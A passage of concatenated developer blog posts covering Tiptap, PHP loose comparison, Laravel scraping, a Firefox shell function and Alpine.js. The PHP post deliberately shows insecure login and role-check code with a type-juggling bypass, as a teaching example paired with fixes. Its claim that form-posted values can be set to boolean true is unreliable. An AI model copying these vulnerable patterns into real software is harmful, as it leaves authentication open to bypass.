import './bootstrap'; // should already exist do not paste that :P 

import { Editor } from '@tiptap/core'
import StarterKit from '@tiptap/starter-kit'
import { Markdown } from 'tiptap-markdown'; //new line

...
      extensions: [StarterKit, Markdown],
      content: this.content,
      onUpdate: ({ editor }) => {
        this.content = editor.storage.markdown.getMarkdown(); // new function
    ...
      if (content === editor.storage.markdown.getMarkdown()) return // new function
    ...

That's all really. Now instead of HTML the editor will produce markdown. Clean! 🧼

This clearly demonstrates the power of open-source software and how leveraging it correctly can give your product a competitive edge in the market!

Toolbar Work and Customization

This is where the fun begins! We’re going to add the essential buttons for our minimal text editor and customize it with Tailwind CSS to make it look sleek. Most importantly, we’ll ensure it feels like a natural part of our app.

...
    init(element) {
    editor = new Editor({
      element: element,
      editorProps: {
        attributes: {
          class: 'p-2 prose-sm min-h-60 prose-h1:mb-0 focus:border-indigo-500 dark:focus:border-indigo-600 focus:ring-indigo-500 dark:focus:ring-indigo-600 focus:outline-none',
        },
      },
      extensions: [
        StarterKit.configure({
            heading: {
                levels: [2, 3, 4],
            },
        }),
        Markdown,
    ],
...
    ],
      content: this.content,
      onUpdate: ({ editor }) => {
        this.content = editor.storage.markdown.getMarkdown();
      },
    })
    this.editor = editor;
    this.toggleBold = () => editor.chain().focus().toggleBold().run();
    this.toggleItalic = () => editor.chain().focus().toggleItalic().run();
    this.toggleH2 = () =>  editor.chain().focus().toggleHeading({ level: 2 }).run();
    this.toggleH3 = () =>  editor.chain().focus().toggleHeading({ level: 3 }).run();
    this.toggleH4 = () =>  editor.chain().focus().toggleHeading({ level: 4 }).run();
    this.toggleOrderedList = () =>  editor.chain().focus().toggleOrderedList().run();
    this.toggleBulletList = () =>  editor.chain().focus().toggleBulletList().run();
...

There are two key points that we should take from that code snippet.

Styling the Editor with Tailwind CSS

The editorProps are being used to apply Tailwind CSS (which I assume you are familiar with) classes to the editor's root DOM element. These classes handle the visual styling and interaction feedback. Learn More

editorProps: {
    attributes: {
        class: 'p-2 prose-sm min-h-60 prose-h1:mb-0 focus:border-indigo-500 dark:focus:border-indigo-600 focus:ring-indigo-500 dark:focus:ring-indigo-600 focus:outline-none',
    },
},

Editor Commands for Text Formatting

The editor instance provides several custom commands for text formatting. These commands make it easy to apply specific styles or content structures, such as bold, italic, headings, and lists.

You may notice that we don't include the Level:1 because we don't want the user to be able to add multiple <h1> on the page, which is bad for SEO. But you'll see how we will create the illusion to the user that they are adding a H1 🤓.

StarterKit.configure({
    heading: {
        levels: [2, 3, 4], // here we leave the level 1 out. 
    },
}),

Next step though, is to make them visible on our component. So back we go to our tiptap.blade.php component to sprinkle some more last touches of code.

<div x-data="setupEditor(
    $wire.entangle('{{ $attributes->wire('model')->value() }}')
)" x-init="() => init($refs.editor)" wire:ignore {{ $attributes->whereDoesntStartWith('wire:model') }}>
    <div class="flex w-full border-b divide-x  dark:bg-slate-900 divide-slate-700 border-slate-700 rounded-t-md">
        <button type="button" class="flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 rounded-tl-md"
            @click="toggleBold();">
            <x-svg class="w-5 h-auto" svg="bold" />
        </button>
        <button type="button" class="flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"
            @click="toggleItalic()">
            <x-svg class="w-5 h-auto" svg="italic" />
        </button>
        <button type="button" class="flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"
            @click="toggleH2()">
            <x-svg class="w-5 h-auto" svg="h-1" />
        </button>
        <button type="button" class="flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"
            @click="toggleH3()">
            <x-svg class="w-5 h-auto" svg="h-2" />
        </button>
        <button type="button" class="flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"
            @click="toggleH4()">
            <x-svg class="w-5 h-auto" svg="h-3" />
        </button>
        <button type="button" class="flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"
            @click="toggleOrderedList()">
            <x-svg class="w-5 h-auto" svg="list-numbers" />
        </button>
        <button type="button" class="flex justify-center p-2 transition dark:hover:bg-slate-700 w-14 dark:bg-slate-900"
            @click="toggleBulletList()">
            <x-svg class="w-5 h-auto" svg="list" />
        </button>
    </div>
    <div class="border-gray-300 shadow-sm rounded-b-md dark:border-gray-700 dark:bg-slate-900 dark:text-gray-300"
        x-ref="editor">
    </div>
</div>

For the SVGs in this snippet, I used a cool blade component that I've created in a previous article Laravel Blade SVG Component. Feel free to add it to your toolbelt, it's very useful! Maybe my most reused blade component.

By now, you should be looking at the final result I teased at the start—just like we planned all along! What we built. 😀

But... oops... we are missing link support!

Link Support

To get link support up and running, we’ll start by installing the necessary package from the Tiptap extensions.

Install:

npm install @tiptap/extension-link

Include:

...
import { Markdown } from 'tiptap-markdown'
import Link from '@tiptap/extension-link' // new line

...
extensions: [
    StarterKit.configure({
        heading: {
            levels: [2, 3, 4],
        },
    }),
    Markdown,
    Link.configure({
        autolink: true,
        defaultProtocol: 'https',
    }),
]

Now we’ve officially added link support to our Tiptap editor, thanks to Tiptap’s ridiculously easy extension system. Just like that, you can insert links with ease, with the bonus of automatic linking and a default protocol of HTTPS.

🚧 If you hardcode http:// into the link, it will remain as-is, and won't be automatically converted to https.

Conclusion

And there you have it! We’ve barely scratched the surface of what Tiptap Rich Text Editor can do, and already we’ve added powerful link support, Markdown integration, and customized the editor’s behavior and looks—all without breaking a sweat. The beauty of Tiptap lies in its endless extensibility. Want tables, embeds, or custom plugins? No problem. There’s always something more to explore. Plus, with Livewire in the mix, you can enjoy real-time updates without needing a PhD in JavaScript. The only limit is your imagination...

I hope this walkthrough sparked your creativity and gave you the urge to dive deeper into Tiptap. There’s so much more you can do with this amazing editor—so go ahead, experiment, and build something awesome! I know I'll do 😉.

And if you want to stay updated on new articles, tips, and tricks (because trust me, we’re far from done with Tiptap), be sure to follow me here on Sudorealm or Github @athanstan. I’ll be covering more advanced extensions and clever hacks to make our rich text editor even more powerful. Stay tuned, and let’s keep pushing the boundaries together!

PHP Secure Coding: Don't Let the Code Get Loose

Thanos Stantzouris — Sat, 17 Aug 2024 09:08:51 +0000

I was having a casual chat with a friend the other day who is a tech lead on a successful startup, and while we were watching the Olympics final of women's water polo, we started talking about a PHP fail I found in the wild 🤓. Him being a tech lead and me being a mid-dev, I was expecting him to have already tackled this fail in his everyday grind, but well... as surprising as it sounds he hadn't.
The "fail" I am talking about, and you probably have already guessed it, is nothing else but PHP's loose comparison. Now, to be fair, I wouldn't really call it so much of a fail, but a feature, but its usage can be so dangerous that, in that sense, it's a fail! Let's get our nerd on!

PHP Loose Comparison
Vulnerable Scenarios
- The insecure login system
- The insecure authorization with a twist
Mitigating the loose comparison bug
Conclusion
Show love @Sudorealm

PHP Loose Comparison

Loose comparison in PHP is when you compare two values using the == operator, which does not check the data types of the variables being compared. PHP will try to convert the values to a common type before comparing them.

if ('string' == true){
 echo 'Weedle I choose you';
}
else{
 echo 'Charizard I choose you';
}

Believe it or not, we are about to send a 3-level Weedle into battle here, while our Charizard remains unused. WHY? Well, in the example above, PHP converts the string 'string' to true before comparing it with true, leading to a true comparison 🥴. This behavior, while sometimes useful, can be dangerous if not properly understood and controlled.

Check this Loose Comparisons Table from the PHP Docs for more information

It might not seem as much at first, but trust me to a trained developer's eye this out of nowhere trick might send shivers to their bones and send them to a production code refactoring spree.

Vulnerable Scenarios

In this section of the article, I'll try to give out some code blocks that when found in the wild could get you a handsome bug bounty reward, also if you find anything remotely similar to your codebase... change it 😁

The insecure login system

In the snippet below you see a very basic login system logic.

$username = $_POST['username'];
$password = $_POST['password'];

if ($username == 'admin' && $password == '12345') {
    // Grant access
}

Let's say that a crafty hacker tampers with the sent data and makes them: $_POST['username'] = true and $_POST['password'] = true that will result to:

$username = $_POST['username'];
$password = $_POST['password'];

if (true == 'admin' && true == '12345') {
    // Grant access
}

# Now that hacker has been granted access to our App... Good for him, not for us

If you are wondering how a hacker could tamper with our data, I have two answers for you from the top of my head:

Custom request with curl.
Burpsuite

Moving on.

The insecure authorization with a twist

Here is where I showcase a problem with PHP that might shock you.

$user_role = $_POST['user_role']; // Example: 'admin', 'editor', 'viewer'

// Authorization check using a switch statement
switch ($user_role) {
    case 'crazyDifficultAdminRoleNooneWouldEverGuess':
        // Admin privileges
        echo "Access granted: Super Admin level";
        break;

    case 'editor':
        // Editor privileges
        echo "Access granted: Editor level";
        break;

    case 'viewer':
        // Viewer privileges
        echo "Access granted: Viewer level";
        break;

    default:
        // No access
        echo "Access denied: Invalid role";
        break;
}

This code is already vulnerable to data tampering as hackers could guess the roles and change theirs to access different levels of authorization.
We might feel a bit safe though, because they would never be able to guess our Super Admin role name.

But what if they don't have to guess at all?☠️

Did you know that Switch Case uses loose comparison? Ha! you might be shocked now!
This means that if the Hacker adds $_POST['user_role'] = true then they will access our first case in our switch statement no matter the value. Ain't that a pain in the bottom? Read the docs.

Mitigating the loose comparison bug

Mitigating the loose comparison bug is critical in ensuring the security and reliability of your PHP applications. The use of strict comparison === and the match expression, in PHP versions 8.0+, plays a vital role in this process. Unlike the loose comparison operator ==, which can lead to unexpected and potentially dangerous results due to PHP's type juggling, strict comparison ensures that both the value and the type of variables are checked. This eliminates vulnerabilities such as unintended type coercion, which could be exploited to bypass security checks.

Here is a solution to the Insecure authorization bug using match expression:

$user_role = $_POST['role'];

$response = match ($user_role) {
    'crazyDifficultAdminRoleNooneWouldEverGuess' => "Access granted: Super Admin level",
    'editor' => "Access granted: Editor level",
    'viewer' => "Access granted: Viewer level",
    default => "Access denied: Invalid role",
};

echo $response; # This outputs: 'Access denied: Invalid role' when role is set to true

Conclusion

Did you know about the dangers of loose comparison and type juggling in PHP? If you didn’t, now you do. Let this simple article serve as a reminder to always read through the documentation and develop a solid understanding of everything you use when programming. Curiosity is key when you’re striving to become the best at whatever you do!

By embracing the strict discipline of === and the sharp precision of match, you can keep your PHP code on a tight leash, ensuring it behaves exactly as you expect. Remember, a little strictness now can save you a lot of headaches later. Let this be a playful nudge that no matter where you are on your coding journey, there’s always something new to learn. So, keep those eyes open, stay curious, and don’t let those loose comparisons slip through the net! 🫡

About Me

You can find out more about me in my personal blog space on sudorealm.com.

If you like my style of writing and my content do not hesitate to whack that follow button, and magical things will happen! 🪄💫

How to Build a Robust Web Scraper with Laravel: and Catch 'Em All

Thanos Stantzouris — Mon, 22 Apr 2024 10:24:01 +0000

Hey there! Welcome to my extraordinary, completely outside-the-box article about web scraping with a cool twist, using the greatest PHP framework 🐘, Laravel! In this guide, we're not just scraping the net for any random information—no sir! Today, you and I are embarking on a journey like no other. We are catching Pokémon by hurling scrape poké balls straight at Bulbapedia! Yep, you read that right. Through this piece of educational yet comedic writing, you're about to reconnect with the '90s kid hidden within you and start to Catch 'Em All. Get ready to dive into the nostalgic world of Pokémon, armed with the modern power of Laravel and some seriously savvy scraping strategies. Let's set off on this wild adventure together!

Table of Contents for the impatient reader

Introducing spatie/crawler
- installation
- scraper setup
- Calling the scraper and displaying results
Extracting Pokémon Generations from Bulbapedia
- First Step: Fetch the entire Generations data
- Second Step: Create a Collection with the data of each Pokemon
Wrapping up and Future Challenges
- Grab the Project Repo

For this project, you simply need to start with a new, empty Laravel project. You can follow the official documentation to set this up. I won’t cover the setup process here, as it’s thoroughly detailed in the Laravel 11 Docs. Once you have your Laravel environment ready, you'll be all set to follow along with this guide.
Laravel 11 Docs

Introducing spatie/crawler

The spatie/crawler package is a powerful tool developed by Spatie, a web development agency known for creating high-quality, open-source packages for the Laravel community. This crawler is designed to simplify the process of building web scrapers and bots in PHP, particularly within the Laravel framework. It provides a flexible and easy-to-use interface to crawl websites and extract needed data efficiently. Click me if you love spatie/crawler, give them a star too, they are the reason that this article exists.

Installation

This package can be easily installed via Composer:

composer require spatie/crawler

Now you should have in your composer.json the line "spatie/crawler": "^8.2".

Scraper setup

The package documentation proposes that the crawler should be instantiated like so:

use Spatie\Crawler\Crawler;

Crawler::create()
    ->setCrawlObserver(new OurScraperObserver())
    ->startCrawling($url);

new OurScraperObserver(): The argument passed to setCrawlObserver must be an object that extends the \Spatie\Crawler\CrawlObservers\CrawlObserver abstract class.

Let's create our first scraper using the appropriate PHP artisan command.

php artisan make:observer Pokemon/PokemonGenerationScraperObserver

The observer we just created should look like this:

<?php

namespace App\Observers\Pokemon;

use GuzzleHttp\Exception\RequestException;
use Illuminate\Support\Facades\Log;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;
use Spatie\Crawler\CrawlObservers\CrawlObserver;

class PokemonGenerationScraperObserver extends CrawlObserver
{

    private $content;

    public function __construct()
    {
        $this->content = null;
    }

    /*
     * Called when the crawler will crawl the url.
     */
    public function willCrawl(UriInterface $url, ?string $linkText): void
    {
        Log::info('willCrawl', ['url' => $url]);
    }

    /*
     * Called when the crawler has crawled the given url successfully.
     */
    public function crawled(
        UriInterface $url,
        ResponseInterface $response,
        ?UriInterface $foundOnUrl = null,
        ?string $linkText = null,
    ): void {
        Log::info("Crawled: {$url}");
    }

    /*
     * Called when the crawler had a problem crawling the given url.
     */
    public function crawlFailed(
        UriInterface $url,
        RequestException $requestException,
        ?UriInterface $foundOnUrl = null,
        ?string $linkText = null,
    ): void {
        Log::error("Failed: {$url}");
    }

    /*
     * Called when the crawl has ended.
     */
    public function finishedCrawling(): void
    {
        Log::info("Finished crawling");
    }
}

Calling the scraper and displaying results

Now that everything is set up, including the observer class required by the package, it's time to "call" the scraper and see it in action! For this, we need to create an invokable class whose sole purpose is to initiate the scraper by triggering the observer. Additionally, we'll establish a route that links to this class with a URL, enabling easy access and execution of the scraping process. Let’s proceed to set this up and display the results.

php artisan make:controller Pokemon/PokemonGenerationScraperController --invokable

See how I named the controller almost the same as the Observer?

💡 By using identical names for closely related classes, you minimize the mental effort required to understand or recall how different parts of the application interact. This streamlined naming convention effectively simplifies navigation through the code, thereby enhancing maintainability and reducing the chance of errors during development.

This is how our new controller should look:

<?php

namespace App\Http\Controllers\Pokemon;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;

class PokemonGenerationScraperController extends Controller
{
    public function __invoke(Request $request)
    {
        dd("I am ready to catch them all!");
    }
}

To link the controller with a URL we go to the web.php and add the following lines:

Route::get('/pokemon/generation', PokemonGenerationScraperController::class)
    ->name('pokemon.generation');

If we visit now ourLaravelScraper.test/pokemon/generation we'll see the message from the controller.

❗️ This approach could certainly be more dynamic, but since this is just an introduction, I'm aiming to keep things as relaxed and straightforward as possible. The goal here is not to create an overly complex 'monster' of an article. It's already quite comprehensive as it stands.

To bring everything together and dive into the most exciting part of our article, let's now activate the observer class we created earlier. This is done by invoking the observer within our controller, which will initiate the scraping process. Here’s how we set up the PokemonGenerationScraperController to handle the scraping:

class PokemonGenerationScraperController extends Controller
{
    public function __invoke(Request $request)
    {
        $url = "https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number";

        Crawler::create()
            ->setCrawlObserver(new PokemonGenerationScraperObserver())
            ->setMaximumDepth(0)
            ->setTotalCrawlLimit(1)
            ->startCrawling($url);
    }
}

You might have noticed that we used here some extra options for the scrape to work as we wanted. Well, let me analyze this a bit.

setCrawlObserver(): Instantiating the crawler.
setMaximumDepth(0): By default, the crawler continues until it has crawled every page of the supplied URL. We want to scrape, so we need only the first URL that we give. Therefore 0.
setTotalCrawlLimit(1): This limit defines the maximal count of URLs to crawl
startCrawling($url): "plays crawling by linkin park." Kidding, it runs our entire scraping/crawling process.

Now if we visit again the link that triggers our scraper we should see a blank white page but our laravel.log should now contain the following result:

[2024-04-19 18:28:46] local.INFO: willCrawl {"url":{"GuzzleHttp\\Psr7\\Uri":"https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number"}} 
[2024-04-19 18:28:46] local.INFO: Crawled: https://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number  
[2024-04-19 18:28:47] local.INFO: Finished crawling

This means that the crawler worked perfectly and logged everything in the right order! We are ready to start digging for poké data!

Extracting Pokemon Generations from Bulbapedia

Within the PokemonGenerationScraperObserver, the crawled method, which accepts a ResponseInterface $response parameter, is particularly critical. This method receives the full response from the website we are targeting for scraping. It is here that we should process the data, extracting and returning the specific results we need.

The tricky part here is that every website is a unique snowflake in terms of its structure, so we need to channel our inner Sherlock Holmes to closely examine the HTML code we're scraping. It's essential to understand its intricate layout before we decide on the best strategy to unearth the data treasures hidden within.

💡 Engaging in web scraping isn't just about collecting data—it's also an excellent exercise in honing your coding skills. Regularly scraping websites trains your eye to look at code more critically and focused, enhancing your ability to quickly identify relevant patterns and structures. It's like a workout for your developer brain, making you sharper and more adept at navigating complex code environments.

Let's take a look at the part of the code that interests us.

<h3><span class=\"mw-headline\" id=\"Generation_I\"><a href=\"/wiki/Generation_I\" title=\"Generation I\">Generation I</a></span></h3>
<table class=\"roundy\" style=\"margin:auto; border: 2px solid #E72838; background: #E72838\">
<tbody>
   <tr>
      <th style=\"background: #71C671; border-top-left-radius: 5px; -moz-border-radius-topleft: 5px; -webkit-border-top-left-radius: 5px; -khtml-border-top-left-radius: 5px; -icab-border-top-left-radius: 5px; -o-border-top-left-radius: 5px;\">Ndex
      </th>
      <th style=\"background: #71C671\">MS
      </th>
      <th style=\"background: #71C671\">Pokémon
      </th>
      <th style=\"background: #71C671; border-top-right-radius: 5px; -moz-border-radius-topright: 5px; -webkit-border-top-right-radius: 5px; -khtml-border-top-right-radius: 5px; -icab-border-top-right-radius: 5px; -o-border-top-right-radius: 5px;\" colspan=\"2\">Type
      </th>
   </tr>
   <tr style=\"background:#FFF\">
      <td rowspan=\"1\" style=\"font-family:monospace,monospace\">#0001</td>
      <td><a href=\"/wiki/Bulbasaur_(Pok%C3%A9mon)\" title=\"Bulbasaur\"><img alt=\"Bulbasaur\" src=\"https://archives.bulbagarden.net/media/upload/thumb/f/fb/0001Bulbasaur.png/70px-0001Bulbasaur.png\" decoding=\"async\" loading=\"lazy\" width=\"70\" height=\"70\" srcset=\"https://archives.bulbagarden.net/media/upload/thumb/f/fb/0001Bulbasaur.png/105px-0001Bulbasaur.png 1.5x, https://archives.bulbagarden.net/media/upload/thumb/f/fb/0001Bulbasaur.png/140px-0001Bulbasaur.png 2x\" /></a></td>
      <td><a href=\"/wiki/Bulbasaur_(Pok%C3%A9mon)\" title=\"Bulbasaur (Pokémon)\">Bulbasaur</a><br/><small></small></td>
      <td style=\"background:#3FA129\" align=\"center\" colspan=\"1\" rowspan=\"1\"><a href=\"/wiki/Grass_(type)\" title=\"Grass (type)\"><span style=\"color:#FFFFFF\">Grass</span></a></td>
      <td style=\"background:#9141CB\" align=\"center\" colspan=\"1\" rowspan=\"1\"><a href=\"/wiki/Poison_(type)\" title=\"Poison (type)\"><span style=\"color:#FFFFFF\">Poison</span></a></td>
   </tr>
   ... 
   ...
   </table>

In the structure we're examining, each Pokémon generation begins with an H3 tag bearing its name, followed by a table containing all the data for that generation's Pokémon. From the code snippet provided, you can spot the first Pokémon of the first generation—none other than the mighty Bulbasaur, arguably the best strategic starter in the games. 🤓

⼻First Step: Fetch the entire Generations data

So that should make us think. We can aim to select the H3 tag that specifically contains the text "Generation I," and then focus on extracting the first table that follows this heading. This approach ensures we're accurately pinpointing and retrieving data specifically related to Generation I Pokémon. How would we do that?

    public function crawled(
        UriInterface $url,
        ResponseInterface $response,
        ?UriInterface $foundOnUrl = null,
        ?string $linkText = null,
    ): void {
        Log::info("Crawled: {$url}");

        $crawler = new Crawler((string) $response->getBody());

        $tableHtml = $crawler->filter('h3')->reduce(function (Crawler $node) {
            return str_contains($node->text(), 'Generation I');
        })->nextAll()->filter('table')->first()->html();

        echo $tableHtml;
    }

What did we do here exactly?

Creating a Crawler Instance

$crawler = new Crawler((string) $response->getBody());: Initializes a new instance of Symfony\Component\DomCrawler\Crawler; with the HTML content of the crawled page. This Crawler object allows you to navigate and search through the HTML structure of the page.

Extracting Specific Data

$tableHtml = $crawler->filter('h3')...: This chain of methods is used to find and extract specific data from the page:
- .filter('h3'): Filters the HTML elements to only include H3 tags.
- .reduce(function (Crawler $node) { ... }): Further filters these H3 tags to only keep those that contain the text 'Generation I'.
- ->nextAll()->filter('table')->first(): Selects all sibling elements following the filtered H3, narrows them down to 'table' tags, and picks the first table.
- ->html();: Retrieves the HTML content of this first table.

⼻Second Step: Create a Collection with the data of each Pokemon

Our next step is to organize the fetched data into a structured collection. This process involves parsing the raw data to extract individual Pokémon details and then systematically grouping these details into a manageable format. By creating a collection, we facilitate easier access and manipulation of the data, which is essential for any further analysis, display, or integration into applications.

        $genTableCrawler = $crawler->filter('h3')->reduce(function (Crawler $node) {
            return str_contains($node->text(), 'Generation I');
        })->nextAll()->filter('table')->first();

        $pokemonData = collect($genTableCrawler->filter('tr')->each(function (Crawler $tr, $i) {
            if (!$tr->filter('th')->count()) {
                return (object) [
                    'name' => $tr->filter('td')->eq(2)->text(),
                    'image' => $tr->filter('td img')->attr('src')
                ];
            }
            return null;
        }))->filter()->values();

We have made some adjustments here. Firstly, we removed the ->html() method because we need to continue using the crawler object to apply additional functions, which will help us build our collection of Pokémon. Additionally, we renamed the variable from $tableHtml to $genTableCrawler to more accurately reflect its content as a crawler object, not just HTML text.

$genTableCrawler->filter('tr')->each: Loop through every tr element you find.
if (!$tr->filter('th')->count()): Skip the <th> elements.
Then we return an object of the current Pokemon's name and image.

We can now use dd($pokemonData->first()) to inspect the initial item in our Generation I Pokémon collection. Additionally, we can directly check the name or image properties by using dd($pokemonData->first()->name) or dd($pokemonData->first()->image), ensuring that we have successfully retrieved and structured the Pokémon data.

Realmer! You have officially caught all the Gen 1 Pokémon! Congrats! And as Prof Oak would say You've finally done it! You've finally completed the National Pokédex! This is better than meeting any exotic Pokémon for the first time! I feel blessed to have become friends with a Trainer like you! Sincerely, I thank you from the bottom of my heart!

Wrapping up and Future Challenges

As we wrap up this detailed exploration into Laravel Pokémon scraping, I recognize that our discussion has been extensive, but I believe the insights and techniques shared here are invaluable. They serve not only to guide you through your own scraping projects but also to enhance your understanding of Laravel's capabilities.

While there is always more to learn and explore, I'll conclude this article by suggesting a few improvements and coding challenges. These are designed to not only test your newfound skills but also to further refine them and spark your creativity. Whether it's optimizing performance, expanding the data extracted, or integrating more complex data handling features, these challenges will help you advance your development expertise.

Try including in the poké collection the types of each Pokemon. It is a bit tricky and it will hone your scraping skills.
Try including in the poké collection the link directing to each Pokemon's details page in Bulbapedia.
Try extracting the scraping logic to functions in a different class and fetch the Pokemon data like so:

$pokemonData = (new PokemonScraperHelper())->fromGeneration('Generation I')->fetchAll();

This way you will hone your Laravel SOLID skills. (Note: this is not the correct answer this is just a way of thinking example, to lead you to the correct path. You can also make your function accept a GenerationEnum... just something more for you to explore).

Create a new feature fetching only one Pokemon, or by some searching functionality.
Save every Pokemon to the database by creating a Pokemon model.
Make the URI dynamic accepting generations like: ourLaravelScraper.test/pokemon/{generation}
Go crazy with it.

Grab the Project Repo

Visit The original post in Sudorealm to find the repo. ( sneaky ) I know 🤪

A note to the rockstar reader

If you've made it this far, you are truly dedicated to mastering the craft of coding. Your commitment to learning and growth is commendable. Every line of code you decipher, every new technique you master, and every challenge you overcome not only improves your skills but also brings your ideas to life. Keep up the great work! 💪

Simplify Your Browsing: Open Firefox URLs with Aliases in Terminal

Thanos Stantzouris — Sat, 10 Feb 2024 09:01:32 +0000

So there I was, sitting at the airport terminal, laptop out and Chrome up and running. A sudden need to open a URL in Firefox hit me, and I couldn't help but think, "Wouldn't it be cool to just whip up a Firefox window with that URL straight from my terminal?" That lightbulb moment turned into a mini-mission for me. Why toggle through screens and clicks when a simple terminal command could do the trick?

This article is all about bringing that cool, 'aha' moment to life for you. If you're into making your tech life just a bit more slick and fun, you're definitely going to enjoy this productivity hack. Let's dive into how this little idea from an airport terminal can add a nifty twist to your digital routine!

Let's deconstruct the process in steps:

⼻ Open up terminal
⼻ Check Firefox installation
⼻ Edit .bashrc or .zshrc
⼻ Playing around
⼻ Getting fancy with it

Before we start with the crazy terminal hackaroo I suppose you have Firefox or Firefox developer edition installed.

⼻ Open up terminal

I made this a step because I wanted to shout out to this article iterm2 your mac's terminal upgraded, and just let you know that you can easily upgrade your MacBook's built-in terminal very easily to a crazy efficient tool! That was the shout-out! Now just open your terminal 🤣 !

⼻ Check Firefox installation

After some minor searching around ways to do that directly from the terminal, I found that the best way is using the system_profiler command.

system_profiler SPApplicationsDataType | grep Firefox

Location: /Users/d3ad_r1nger/Library/Application Support/Firefox/Profiles/xvmcok03.dev-edition-default/storage/default/https+++tinkerwell.app
    Firefox Developer Edition:
      Location: /Applications/Firefox Developer Edition.app
      Get Info String: Firefox Developer Edition 123.0

The output indicates that the "Firefox Developer Edition" is installed on my system, located in the /Applications directory, with version 123.0. Additionally, there's a reference to a Firefox profile or data directory located under the user's Library/Application Support/Firefox path, specifically within a development edition profile storage.

⼻ Edit `.bashrc` or `.zshrc`

Depending on what you use (I use zsh) edit the appropriate file.

nano ~/.zshrc

Add the following snippet to the end of your file.

# functions
fire() {
    open -a "Firefox Developer Edition" "https://$1"
}

Save and exit the editor ctrl + x then press y.

📝 Sidenote
You noticed that I use "Firefox Developer Edition" in the command. This is just the Firefox version I have installed. If you installed the simple Firefox version just add "Firefox". Just needed to clarify that to ease confusement!

Apply the changes by sourcing your profile or rc file:

source ~/.zshrc

⼻ Playing around

Now you can just type fire sudorealm.com and see your Firefox open up, navigating you to Sudorealm✨! Also if you type fire pokemon.com/us/pokedex/mewtwo you see that it just opens up a new tab to your already open Firefox window. How cool is that dude?

Getting fancy with it

I just can't stop at that point. There's this itch that I have to scratch, pushing the boundaries of what's possible with a simple terminal command. Why settle for just opening URLs when we can turn the dial up a notch? Here's how you can set this up to open multiple space-separated files or URLs in Firefox, all in one go. 🔥

# functions
fire() {
    for url in "$@"; do
        open -a "Firefox Developer Edition" "https://$url"
    done
}

Now we have unlocked a newfound power in our terminal! By just typing:

fire instagram.com sudorealm.com youtube.com

Firefox will open everything all at once! I love it! Take a look! 👀

You can do much more with that if you are curious enough, you can grab an idea from this article too: From Frustration to Efficiency: My Experience with Aliases on Mac Terminal. In that article I play around with aliases.

I might even create a new alias, now that I think about it, like insta that would immediately open Instagram for me. 🤪

📝 Another sidenote
This entire tutorial might also work with other browsers and there are many crazy combinations that you could try, but I am too lazy to think of any of them. so go at it! Maybe create an article about it here? 🤔

Conclusions and Thoughts

And there you have it, folks—a journey from a simple 'aha' moment at an airport terminal to unlocking some pretty nifty tricks in your own terminal. Who knew a bit of waiting around with your laptop could lead to such a cool hack? By now, you've got the know-how to not only open URLs in Firefox with a simple command but also to juggle multiple sites like a digital juggler, all from the comfort of your command line.

This little adventure into the world of terminal commands and aliases shows that with a pinch of curiosity and a dash of creativity, the mundane can turn into something quite magical. It's more than just opening websites; it's about tailoring your tools to fit your workflow, making your digital life not just efficient, but also a bit more fun.

So, next time you're caught in a moment of downtime, maybe while waiting for a flight or just taking a break, remember that these are opportunities to explore, to tinker, and to perhaps stumble upon your next great hack. And who knows? Maybe your newfound command line prowess will inspire your next big idea or simply make your day-to-day a tad easier.

Don't forget to share your terminal triumphs and tips with the community. After all, sharing is caring, especially when it comes to cool hacks like these. Until then, happy hacking, and may your digital explorations bring you plenty of delightful surprises! 🚀

🚀 Spread the Love & Support the Realm

🆇 X Shoutout: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you! d3adR1nger on X

💬 Join our Discord Server: Join the Sudorealm Discord Server connect with fellow enthusiasts and chat about everything that fascinates you! From new blog post suggestions to seeking support on tricky tutorials. Come, share your ideas, and let's grow together! 🚀🌐

☕️ Coffee Driven Development: Love what you're reading? Fuel my passion for coding with a delicious cup of coffee! Every sip powers up another line of code and helps bring more exciting content your way. Support my caffeine-fueled coding adventures and let's brew up something amazing together! ☕👨‍💻 Join the journey and BuyMeACoffee

Practical Use of Alpine.js Mask Plugin: Real World Example

Thanos Stantzouris — Mon, 11 Dec 2023 10:40:21 +0000

Recently, while working on a new feature for Sudorealm, I encountered a seemingly minor issue with an input field. It turned out to be a great learning opportunity, and I'm excited to share this experience with you.

I was developing a new modal form for Sudorealm users aspiring to become authors on the platform. This form included a section with three input fields for users to list any articles they've previously written, if applicable. At first, I didn’t think much of it. But when I reached the stage where I needed to validate the data, I realized a small, yet significant problem had arisen. Let me show you what I am talking about.

⼻ The problem

The Solution in code for the impatient

This is the modal form that I am talking about, it's pretty straightforward to fill up. But when we use the following Laravel Livewire validation:



'sudoerForm.primary_article.*' => ['nullable', 'url', 'max:255'],

we get the following form submission error:

As you have observed the form error appears only on the first input and not on the second one. Why is that? This is because Laravel's url validation error accepts only URLs with https:// or http:// upfront.

Initially, my plan was to leave the URL input as it was, assuming users would usually paste their URLs, including the https:// part. But then, a thought struck me, inspired by the 'broken-window theory'* I read about in 'The Pragmatic Programmer': Could this be a 'broken window' in my code? By leaving it as is, was I setting myself up for future issues? Conversely, if I address it now, could this fix potentially prevent similar problems in other, yet-to-be-updated parts of my code? Therefore I decided to come up with a cool and breezy solution!

⼻ The Solution

Alpine.js to the rescue!!! A lightweight JavaScript framework that's easy to use yet surprisingly powerful. It brings reactivity and data-binding to your HTML, similar to Vue.js, but with a simpler, more direct approach. It's perfect for quickly adding interactivity to web pages without the complexity of heavier frameworks. From the mind of Caleb Porzio.

This crazy useful library also provides plugins, and other stuff ( but we kinda want to focus on the plugins 🤪). Alpine.js Plugins extend the core functionality of Alpine.js, allowing developers to easily integrate additional features without bloating their code. They're perfect for when you need that extra functionality without the overhead of a larger framework.

